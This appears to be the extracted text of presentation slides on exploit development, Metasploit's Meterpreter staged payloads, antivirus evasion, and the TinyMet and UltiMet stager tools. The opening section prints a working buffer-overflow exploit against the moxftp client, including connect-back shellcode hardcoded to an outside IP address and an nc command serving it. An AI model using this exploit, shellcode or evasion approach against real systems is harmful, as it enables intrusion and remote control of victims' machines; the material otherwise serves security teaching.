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Exploit 
development

I. BACKGROUND
moxftp is a "Ftp shell under X Window System".
/usr/ports/ftp/moxftp

II. DESCRIPTION

Insufficient bounds checking leads to execution of arbitrary code.

III. ANALYSIS

The buffer may be
constructed as such:
[508 bytes][ebp ][eip ][nops][shellcode]. Placing
the nops and shellcode in the buffer before ebp seems to cause some
problems, luckily there's plenty of space after eip.

Example run:

$ perl -e 'print "220 " . "\x90" x 508 . "\x48\xfa\xbf\xbf" x 2 . "\x90" x 100 .

"\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\xd9\x9

d\x02\x24\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\x62\xc

d\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x6

8\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80" . "\n"' > file

# nc -l -p 21 < file

The shellcode is connect-back to 217.157.2.36 port 10000,

replace "\xd9\x9d\x02\x24" with a suitable ip for testing.

The good old days 

… and the need for an exploitation framework



Metasploit
Intro



Metasploit
Architecture

*Image from http://www.offensive-security.com/metasploit-unleashed/



Payloads
Singles “inline”



Payloads
Singles “inline”



Staging payloads
…when size does matter



Poison Ivy
Example of a “staged” malware
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Poison Ivy
Example of a “staged” malware



Poison Ivy
Example of a “staged” malware

*http://www.fireeye.com/resources/pdfs/fireeye-poison-ivy-report.pdf



Poison Ivy
Example of a “staged” malware

*http://www.fireeye.com/resources/pdfs/fireeye-poison-ivy-report.pdf



Staged Payloads
Staged payloads



Meterpreter
Intro



Meterpreter
Pick the stager’s type – Bind or Reverse, v4 or v6

Create standalone, or deliver through exploit



Meterpreter
The stager – execution steps “reverse_tcp as an example”

Initialize Winsock

Set handler’s address

Connect to handler,
put socket into EDI

Create socket



Meterpreter
The stager – execution steps “reverse_tcp as an example”

Send patched DLL to stager

Patch 
transport, 
LHOST … 

etc.

Patch 
reflective 
dll stub

Read 
metsrv.dll 
into buffer



Meterpreter
The stager – execution steps “reverse_tcp as an example”

Get stage size
“first 4 bytes”

Read stage into buffer

Execute the stage!

VirtualAlloc enough 
memory for stage “RWX”



Expect problems, and 
eat them for breakfast.
Alfred A. Montapert



Problems
Freakin’ Antivirus

Anti Virus Product

Your precious payloads



Problems

Evading antivirus remains a challenge for those who are trying
to use msfpayload/msfvenom to create their stand-alone “exe”
payloads, and no matter how hard one tries to achieve that
using whatever is already in the framework, or tools written by
others, results are largely unreliable, try googling “meterpreter
evade AV” and good luck .

Even if we managed to create a stager that get past HIPS/AV,
the stage could get flagged by an inline IDS, or a web proxy
which prohibits downloading of executable files.

The stand-alone executables “created using msfpayload” is not
flexible at all after being created “i.e. LHOST, LPORT and the
TRANSPORT” are hard-coded, so, if you want to change any of
those, you have to create a new one “and manage to evade
AV”.

So, things to be considered:
(1) Evade AV “to reliably achieve that, you HAVE to write your
own stagers”.
(2) Create a “flexible” stager.
(3) Eliminate the need to get the stage over network “i.e.
creating an inline-meterpreter”.

… and annoyances



TinyMet
A small “4 kilobytes”, open source,
flexible meterpreter stager

It takes LPORT, LHOST, TRANSPORT
as command line arguments.

Available transports
• reverse_tcp
• reverse_http
• reverse_https
• bind_tcp

http://www.tinymet.com

http://www.tinymet.com/


UltiMet

A windows executable that can function as various
meterpreter stand-alone exe’s, in addition to
functioning as “msfpayload” to generate exe files that
run hidden when executed.

Supports functioning as the following meterpreter
“types”: “reverse_tcp”, “bind_tcp”, “reverse_http”,
“reverse_https”, “metsvc_bind_tcp” and
“metsvcreverse_tcp”

Can create exe files that connects upon execution using
pre-configured settings “exactly as msfpayload
generated exe”, however, generated exe files still
accept command line arguments and settings could be
reset or changed, all supported from within that single
exe.

The generated exe is a pre-configured ultimet that can
be used to create OTHER exe files! so, let’s say you
created a reverse_tcp exe using the
--msfpayload option, you can use THAT exe later to
create another bind_metsvc, then use THAT exe to
create a reverse_http … and so on, or simply reset to
default

The ultimate meterpreter executable

… a.k.a meterpreter-on-steroids 

http://eldeeb.net/wrdprs/?page_id=156

http://eldeeb.net/wrdprs/?page_id=156


UltiMet
Demo

Demo



Questions?
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